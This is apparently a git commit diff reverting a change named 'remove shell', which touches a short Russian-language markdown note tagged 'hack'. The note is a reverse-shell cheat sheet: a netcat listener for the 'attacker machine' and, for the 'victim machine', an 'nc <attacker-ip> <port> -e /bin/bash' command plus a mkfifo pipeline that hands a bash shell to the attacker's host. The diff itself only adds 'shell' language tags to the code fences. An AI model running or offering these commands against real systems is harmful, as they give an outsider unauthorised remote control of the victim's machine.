Revert "remove shell"

This reverts commit 65914f8895.
This commit is contained in:
root
2023-09-24 18:58:33 +03:00
parent 65914f8895
commit c793b55750
26 changed files with 132 additions and 132 deletions

View File

@ -5,16 +5,16 @@ date: 2022-12-09T15:02:00+05:00
tags: [linux, ssh, hack]
---
## Машина атакующего
```
```shell
nc -lvp <port>
```
## Машина жертвы (Traditional Netcat)
```
```shell
nc <attacker-ip> <port> -e /bin/bash
```
## Машина жертвы (OpenBSD Netcat)
```
```shell
mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev \
| /bin/bash 2>&1 | tee /tmp/rev > /dev/null
```